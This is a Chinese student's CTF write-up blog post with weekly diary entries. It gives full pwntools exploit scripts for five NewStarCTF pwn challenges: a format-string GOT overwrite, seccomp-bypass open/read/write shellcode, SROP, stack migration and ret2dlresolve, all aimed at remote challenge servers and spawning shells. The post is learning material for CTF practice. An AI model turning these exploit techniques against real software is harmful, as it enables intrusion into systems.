# Note(Pwn) - 0x01 && Weekly - 0x08

# 0x00 Weekly - 0x01

l
Day - 0x00       白天没课,做了NewStarWeek3Pwn的前三题
Day - 0x01       上课,只有一节课没有课。。。半夜浅浅研究了一下剩下的两个题目,并且向王神请教了栈迁移那题
Day - 0x02       没有早八,然后就接着研究栈迁移,期间发现自己之前学习栈迁移的时候挖的坑,并且填平了。下午只有一节课,做出来了栈迁移,开始学习ret2dlresolve。晚上成功解决最后一道题目!!!!!!!
Day - 0x03       全天满课+摸锦鲤
Day - 0x04       深入♂学习
Day - 0x05       打比赛(分享会)
Day - 0x06       打比赛(分享会)

# 0x01 Note(Pwn) - 0x08

(其实是刷题写笔记,基本上是 NewStarCTF 的 Week3 的 Pwn 题目)

# 255 - Week3Pwn 情况总览:

# 0 - puts or system?

首先 checksec,平平无奇 (除了 Canary)

扔进 IDA,发现格式化字符串漏洞

"对啊,如果 puts 函数是 system 就好了"
"想得美,自己想办法修改吧"
想法就是先搞出来格式化字符串参数表的 offset,一笔带过,offset = 8
然后就是把 puts 函数的 GOT 表地址扔进栈里面,用 % n 去修改。。。但是这里爆破很难受,我写 exp 也巨难受(虽然只需要修改低位的三个字节)。不想枚举 6 种情况
于是经历了长达 1145141919810*x 毫秒的网络冲浪之后,我学到了一个新东西 ------ 来自 pwntools 的 fmtstr_payload ()
于是这里的 payload 就非常精简了(还是得多亏前辈的封装)
Tips:

  1. 这里的技巧是泄露函数真实地址的时候,其实可以从栈上面找__libc_start_main 函数的地址(或许__libc_start_call_main 也可以)
  2. 这里为了方便调试,换了 glibc,反正出题人也给了 libc,顺便练习练习(但是这题获取函数真实地址的时候,不同的 glibc 运行的情况下,参数表开始到函数的 offset 可能会不同,从而导致本地能打通,远程就寄),从此 glibc 不再玄学(但愿吧)
    EXP:
n
#  GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35.
from pwn import*
 
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# p=process('./putsorsys')
p=remote('node4.buuoj.cn',28420)
# p=process(['./ld-2.31.so', './stri'], env={"LD_PRELOAD":'./libc.so.6'})
# gdb.attach(p)
elf=ELF('./putsorsys')
libc=ELF('./libc.so.6')
func_addr=elf.got['puts']
 
p.sendlineafter('gift?(0/1)',"1")
 
payload=b'AAAA%35$p'
p.sendlineafter("it",payload)
# offset=8   35=libcstartmain
 
p.recvuntil('0x')
addr=p.recv(12)
addr=int(addr,16)
addr-=128
 
base=addr-libc.symbols['__libc_start_main']
system_addr=base+libc.symbols['system']
puts_addr=base+libc.symbols['puts']
 
print("system:addr::")
print(hex(system_addr))
print("print——got:")
print(hex(func_addr))
 
p.sendlineafter('gift?(0/1)',"1")
 
payload1=fmtstr_payload(8,{func_addr:system_addr})
p.sendlineafter("it",payload1)
p.interactive()

# 1 - orw&rop

平平无奇的 checksec,依旧是除了 Canary

发现栈溢出、格式化字符串漏洞

发现沙箱机制(Sandbox)

之前王神发了两个 blog,但是我的时间都被那两个比赛占用了,所以当时就仅仅瞅了一眼,直到现在才开始学
入门题目
系统总结
但是我是学的这个
那就检查一下保护是什么,输入命令:seccomp-tools dump ./ezorw
可以看到 execve 和 system 被 ban 了(因为 system 也是调用 execve)

所以就像教程说的一样,直接写 shellcode,然后用文件输入输出来输出 flag,从而避免调用 execve
(太感动了,又是前辈封装的 shellcraft!!!!!感谢前辈)
EXP:

n
# GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.1) stable release version 2.35
from pwn import *
 
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# context(os="linux", arch="amd64")
# p=process(['./ld-linux-x86-64.so.2', './ezorw'], env={"LD_PRELOAD":'./libc.so.6'})
p=remote('node4.buuoj.cn',27833)
# p = process("./ezorw")
# gdb.attach(p)
# p =remote("node3.buuoj.cn", 28320)
e=ELF('./ezorw')
libc=ELF('./libc.so.6')
 
ad = 0x66660000+0x100
code = shellcraft.open("./flag")
code += shellcraft.read(3, ad, 0x50)
code += shellcraft.write(1, ad, 0x50)
code = asm(code)
 
payload1=b'AAAAAAAA%11$p,%33$p'
# offset=6
p.sendlineafter('sandbox',payload1)
 
p.recvuntil('0x')
canary=p.recv(16)
canary=int(canary,16)
print(hex(canary))
p.recvuntil('0x')
addr=p.recv(12)
addr=int(addr,16)
print(hex(addr))
addr-=128
 
base=addr-libc.symbols['__libc_start_main']
pop_rdi=base+0x2a3e5
pop_rsi=base+0x2be51
pop_rdx_r12=base+0x11f497
buf=0x66660000
 
read_addr=e.plt['read']
 
payload2=b'a'*(0x30-8)+p64(canary)+b'a'*0x08+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(buf)+p64(pop_rdx_r12)+p64(0x100)+p64(1)+p64(read_addr)+p64(buf)
p.sendlineafter('now',payload2)
 
pause()
p.send(code)
 
# p.send(code)
p.interactive()
 
# 0x000000000002a3e5 : pop rdi ; ret
# 0x000000000002be51 : pop rsi ; ret
# 0x000000000011f497 : pop rdx ; pop r12 ; ret

# 2 - srop

哇,第一次见到 Full RELRO 的题目呀,扔进 IDA 吧!

你这个 main 函数是真的高冷

这里是 poprbp,而且 eax 设为了 0x0f,是 sigreturn 的系统调用号

还有一个奇怪的 syscall。。。第一次见这个装在 glibc 的 syscall 函数里面的 syscall

然后就按照正常的 srop 进行构造 payload。但是要注意,这个来自 glibc 的 syscall 函数很坑人,它把寄存器改了一遍。。。(见下图)
所以对应的寄存器也要改。。。

这里使用了来自 pwntools 的 SigreturnFrame,通过调用 sigreturn 来改变寄存器(本身 sigreturn 就会改变所有的寄存器,但是有时候并不是我们想要的,反正这时候我们需要它)
具体教程见这里
具体工具
EXP:

n
from pwn import *
 
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
p = process("./srop")
# p=remote('node4.buuoj.cn',27266)
elf0=ELF('./srop')
gdb.attach(p)
# 远程环境可以在 BUUCTF 上找到
#p = remote("node3.buuoj.cn", 25862)
pop_rdi=0x401203
syscall = 0x401040 
sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x401136)+p64(syscall)
sh = 0x0404000  # bin 字符串地址
 
# 实现 execve 的系统调用
# 需要存储在伪造的栈地址位置
context.arch = "amd64"
frame = SigreturnFrame()
frame.rdi = constants.SYS_execve
frame.rsi = sh
frame.rdx = 0
frame.rcx = 0
frame.rbp = 0x403f00
frame.rsp = 0x404000
frame.rip = syscall
stack_frame = b"/bin/sh\x00"+sigreturn+bytes(frame)
 
# 实现 read 的系统调用
# 读取包括 bin 字符串和伪造的栈数据
frame = SigreturnFrame()
frame.rdi = constants.SYS_read
frame.rsi = 0
frame.rdx = sh
frame.rbp = 0x403f00
frame.rsp = 0x404000
frame.rcx = len(stack_frame)
frame.rip = syscall
frame.rsp = sh+8  # 设置栈顶指针位置
 
pad = cyclic(0x38)
pad += sigreturn + bytes(frame)
 
# 先发送实现 read 系统调用的 pad
p.send(pad)
# read 读取 stack_frame
# 然后 ret 到伪造的栈上执行 execve 系统调用
pause()
p.send(stack_frame)
 
p.interactive()
 
# 0x00000000004011fc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004011fe : pop r13 ; pop r14 ; pop r15 ; ret
# 0x0000000000401200 : pop r14 ; pop r15 ; ret
# 0x0000000000401202 : pop r15 ; ret
# 0x00000000004011fb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004011ff : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040111d : pop rbp ; ret
# 0x0000000000401203 : pop rdi ; ret
# 0x0000000000401201 : pop rsi ; pop r15 ; ret
# 0x00000000004011fd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret
# 0x000000000040117c : ret 0xbe
 
# LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
#              Start                End Perm     Size Offset File
#           0x400000           0x401000 r--p     1000      0 /home/akyoi/cac/NewStarCTF/srop/srop
#           0x401000           0x402000 r-xp     1000   1000 /home/akyoi/cac/NewStarCTF/srop/srop
#           0x402000           0x403000 r--p     1000   2000 /home/akyoi/cac/NewStarCTF/srop/srop
#           0x403000           0x404000 r--p     1000   2000 /home/akyoi/cac/NewStarCTF/srop/srop
#           0x404000           0x405000 rw-p     1000   3000 /home/akyoi/cac/NewStarCTF/srop/srop
#     0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
#     0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
#     0x7ffff7dbd000     0x7ffff7e15000 r--p    58000 1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
#     0x7ffff7e15000     0x7ffff7e19000 r--p     4000 214000 /usr/lib/x86_64-linux-gnu/libc.so.6
#     0x7ffff7e19000     0x7ffff7e1b000 rw-p     2000 218000 /usr/lib/x86_64-linux-gnu/libc.so.6
#     0x7ffff7e1b000     0x7ffff7e28000 rw-p     d000      0 [anon_7ffff7e1b]
#     0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000      0 [anon_7ffff7fa8]
#     0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000      0 [anon_7ffff7fbb]
#     0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000      0 [vvar]
#     0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000      0 [vdso]
#     0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
#     0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000   2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
#     0x7ffff7fef000     0x7ffff7ffa000 r--p     b000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
#     0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
#     0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
#     0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
# 0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

# 3 - stack migration revenge

checksec 之后,还可以,也是 Full RELRO

扔进 IDA,发现栈溢出的长度只能覆盖到 ret。于是考虑使用栈迁移。

但是发现,如果要迁移到栈上面,那么没有 rbp 的地址。
王神涉及了一种新知识:低位覆盖,然后利用多层嵌套函数的 leave;ret 进行栈迁移。但是这里明显 vuln 里面没有 leaveret,而且函数只有两层,这就导致这种方法没法解题。
之后王神又给出了新知识:延迟转移。事实证明是正确解法。我们细嗦... ...
这里栈的地址是随机的,所以我们在这种情况下,应该想办法把栈迁移到已知的、固定的地址里面(比如.bss),但是 bss 里面啥 rop 都没有,迁移过去也是啥用没有。。。
这时候就应该考虑使用 read 函数之类的进行读取。这里 vuln 函数有现成的 read 函数。那么我们要怎么做才能让 read 函数写入到.bss 里面呢??????
考虑到局部变量的定位是利用 rbp + Offset 实现的。因此我们只要更改 rbp 为 bss_address + 0x50 就能读取内容并且写入到 bss 那里
(注意下面的图中标记了 read 函数进行变量定位的关键代码)

之后就是在 rbp 之后添加上 vuln 地址进行调用 read 函数。但是由于 vuln 函数开头的 mov rbp,rsp 的指令,会把我们辛辛苦苦写入的 rbp 给改成 rsp。所以我们的 ret 地址肯定要写在这条指令之后。
之后就是进行正常的栈迁移,ret2libc 了。按理来说这样就应该能打通了。但是实际运行之后才发现,构造的 ROP 链中调用的用来泄露函数真实地址的 puts 函数没有输出 (或者是像下图那样卡在 puts 里面了),之后的也是,但是之前的 puts 是完全正常的。那么是为什么呢?
还是正常进行 gdb 调试。(既然问题是在写入内容到.bss 之后产生的,那么就着重看看.bss 吧)

这里可以看到 bss 开头并不是我们以为的可以随便乱写的地址。。。有些东西被我们写入的内容淦废了。。。(看名称也知道是标准输入输出 stdin,stdout 的东西,破坏了这东西 puts 挂掉是很正常的)

接下来我们看看他们原本的样子

那么解决方法也很简单,只需要把 exp 里面我们想要栈迁移的地址抬高一点,这里我抬高到了 0x404200(原本是 0x404020)
好了,这下应该就 100% 能够打通了吧~~~
“年轻人,| 只因你想的太美 |,尤其是你熬夜打 PWN 题的时候 ( ̄_, ̄)”
我们运行 exp 之后发现一切正常,但是自己输入的 ROP-Chain 被之后的 puts 函数搞得西八烂。请看下图见证这场 “ROP 大屠杀”
这是 read payload 之前的内容(只看前几行就行,这里截多了)

这是刚刚运行完 read 之后的情况,可以看到我们的 ROPchain 已经正常读入了

这里就是执行完 puts 之后的 ROPchain,已经不成样子了。。。

(好奇怪的问题,都是第一次见。。真是个大冤种。做个题都那么多 bug)
蒟蒻太弱了,根本想不出来原因。于是再次求助大佬了。。。。。。

都看得懂,我就不复述了。。。
于是就把除了第一次调用的 vuln 之外的 vuln 地址都改为 vuln 开始,然后修改了一下每次栈迁移之后的 rbp 地址就 OK 了。
最终 EXP:

n
from pwn import*
 
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# p=process('./migr')
p=remote('node4.buuoj.cn',26217)
# p=process(['./ld-2.31.so', './migr'], env={"LD_PRELOAD":'./libc.so.6'})
# gdb.attach(p)
elf=ELF('./migr')
libc=ELF('./libc.so.6')
 
puts_addr=elf.plt['puts']
func_addr=elf.got['puts']
read_addr=elf.plt['read']
 
pop_rdi=0x4012b3
bss=0x404200
leaveret=0x401227
vuln=0x4011F3
vuln1=0x4011DB
 
payload=b'a'
payload=payload.ljust(0x50,b'\x00')
payload+=p64(bss)+p64(vuln)
 
p.sendafter("me:",payload)
# pause()
payload=p64(bss+0x100)+p64(pop_rdi)+p64(func_addr)+p64(puts_addr)+p64(vuln1)  #0x404320
payload=payload.ljust(0x50,b'\x00')
payload+=p64(bss-0x50)+p64(leaveret)
p.sendafter("me:",payload)
 
p.recvuntil('funny\n')
addr=u64(p.recv(6).ljust(8,b'\x00'))
print(hex(addr))
base=addr-libc.symbols['puts']
system_addr=base+libc.symbols['system']
execve_addr=base+libc.symbols['execve']
sh=base+0x1b45bd
pop_rsi=base+0x2601f
pop_rdx=base+0x142c92
buf=0x404180
ret=0x40101a
# pause()
# shellcode=asm(shellcraft.sh())
payload1=p64(buf+0x100)+p64(pop_rdi)+p64(sh)+p64(pop_rsi)+p64(0)+p64(pop_rdx)+p64(0)+p64(ret)+p64(execve_addr)+p64(vuln1)  #0x4042f0  0x4041c8 318
# payload1=p64(0x404248)+shellcode    #0x4042f0  0x4041c8 318
payload1=payload1.ljust(0x50,b'\x00')
payload1+=p64(buf)+p64(leaveret)
p.sendafter("me:",payload1)
 
p.interactive()
 
# 0x0000000000401227 : leave ; ret
# 0x00000000004010ed : loopne 0x401155 ; nop ; ret
# 0x0000000000401156 : mov byte ptr [rip + 0x2eeb], 1 ; pop rbp ; ret
# 0x0000000000401245 : mov eax, 0 ; pop rbp ; ret
# 0x00000000004010e7 : mov edi, 0x404010 ; jmp rax
# 0x00000000004010bf : nop ; endbr64 ; ret
# 0x0000000000401226 : nop ; leave ; ret
# 0x00000000004011d8 : nop ; pop rbp ; ret
# 0x00000000004010ef : nop ; ret
# 0x000000000040116c : nop dword ptr [rax] ; endbr64 ; jmp 0x401100
# 0x00000000004010e6 : or dword ptr [rdi + 0x404010], edi ; jmp rax
# 0x00000000004012ac : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004012ae : pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004012b0 : pop r14 ; pop r15 ; ret
# 0x00000000004012b2 : pop r15 ; ret
# 0x00000000004012ab : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x00000000004012af : pop rbp ; pop r14 ; pop r15 ; ret
# 0x000000000040115d : pop rbp ; ret
# 0x00000000004012b3 : pop rdi ; ret
# 0x00000000004012b1 : pop rsi ; pop r15 ; ret
# 0x00000000004012ad : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# 0x000000000040101a : ret

# 4 - dl resolve

checksec 之后,还可以

扔进 IDA,没问题,就是给的函数太少了。。。

看题目名称也知道是 ret2dlresolve,直接学呗。然后大冤种就开始了为期一天的网上冲浪。。。然后学了个大概,细节实在被绕晕了
于是就顺道去 CTF_wiki 上面看了一下,发现 ret2dlresolve 的 payload 可以生成。于是直接 “学习”
其实没有啥大问题,就是 system 缺少一个栈对齐,用 execve 的话少个 rdx 没法控制。
仔细研究了 payload 之后可以直接添加栈对齐
其实在底下被注释掉的手写 payload 过程中,我按照教程中的方法构建的 payload 应该是没问题的,但是会卡在__dl_runtime_resolve 函数里面。这就非常离谱
EXP:

n
from pwn import *
context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
context.binary = elf = ELF("./dlre")
rop = ROP(context.binary)
dlresolve = Ret2dlresolvePayload(elf,symbol="system",args=["/bin/sh"])
# pwntools will help us choose a proper addr
# https://github.com/Gallopsled/pwntools/blob/5db149adc2/pwnlib/rop/ret2dlresolve.py#L237
rop.read(0,dlresolve.data_addr)
rop.ret2dlresolve(dlresolve)
raw_rop = rop.chain()
# io = process("./dlre")
io=remote('node4.buuoj.cn',26549)
# gdb.attach(io)
# io.recvuntil("Welcome to XDCTF2015~!\n")
ret=0x40101a
raw_rop=p64(ret)+raw_rop
print(raw_rop)
payload = flat({0x78:raw_rop,256:dlresolve.payload})
io.sendline(payload)
io.interactive()
 
 
 
 
# from pwn import*
 
# context.terminal=['tmux','splitw','-h']
# context.arch='amd64'
# context.log_level='debug'
# p=process('./dlre')
# gdb.attach(p)
# elf=ELF('./dlre')
 
# read_addr=elf.plt['read']
# func_addr=elf.got['read']
 
# bss=0x404040
# leaveret=0x4011c6
# pop_rdi=0x40115e
# pop_rsi=0x40116b
 
# # reloc_index=0x1
# plt_0=0x401020
# rel_plt=0x400518
# r_info=0x000200000007
# fake_reloc=p64(func_addr)+p64(r_info)
# reloc_index=bss+0x30-rel_plt
 
# payload=b'a'*0x70+p64(bss)+p64(pop_rsi)+p64(bss)+p64(read_addr)+p64(leaveret)
# payload1=p64(0X400000)+p64(pop_rdi)+p64(bss)+p64(plt_0)+p64(reloc_index) # 0x404060
# payload1=payload1.ljust(0x30,b'a')
# payload1+=fake_reloc
# payload1=payload1.ljust(0x40,b'a')
 
# p.sendline(payload)
# pause()
# p.sendline(payload1)
 
# p.interactive()
 
# # 400408 00000000 00000000 1d000000 12000000  ................
# # 0x000000000040122c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# # 0x000000000040122e : pop r13 ; pop r14 ; pop r15 ; ret
# # 0x0000000000401230 : pop r14 ; pop r15 ; ret
# # 0x0000000000401232 : pop r15 ; ret
# # 0x000000000040122b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
# # 0x000000000040122f : pop rbp ; pop r14 ; pop r15 ; ret
# # 0x000000000040113d : pop rbp ; ret
# # 0x000000000040115e : pop rdi ; ret
# # 0x0000000000401231 : pop rsi ; pop r15 ; ret
# # 0x000000000040116b : pop rsi ; ret
# # 0x000000000040122d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# # 0x000000000040101a : ret
Edited on Views times

Give me a cup of [卡布奇诺]~( ̄▽ ̄)~*

Zchared WeChat Pay

WeChat Pay

Zchared Alipay

Alipay

Zchared PayPal

PayPal